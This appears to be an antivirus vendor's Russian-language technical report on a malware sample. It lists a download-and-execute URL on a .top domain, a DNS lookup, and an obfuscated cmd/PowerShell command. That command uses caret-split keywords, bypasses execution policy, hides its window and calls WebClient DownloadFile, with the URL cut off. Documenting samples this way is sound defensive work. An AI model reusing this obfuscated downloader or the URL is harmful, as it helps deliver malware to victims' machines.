Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PO^we^R^SHe^l^L^.^E^xE -Ex^E^Cu^ti^O^n^pO^LICy BY^paSs^ -N^o^profI^l^E -^WiNDOWst^yl^E hiD^DEN^ (^NEW^-o^bje^c^T^ ^sYSTE^M.n^e^t.webCL^IENt).^dOW^n^lOA^dfi^l^e^('http://www....
Сетевая активность
UDP
- DNS ASK zo###oled.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PO^we^R^SHe^l^L^.^E^xE -Ex^E^Cu^ti^O^n^pO^LICy BY^paSs^ -N^o^profI^l^E -^WiNDOWst^yl^E hiD^DEN^ (^NEW^-o^bje^c^T^ ^sYSTE^M.n^e^t.webCL^IENt).^dOW^n^lOA^dfi^l^e^('http://www....' (со скрытым окном)
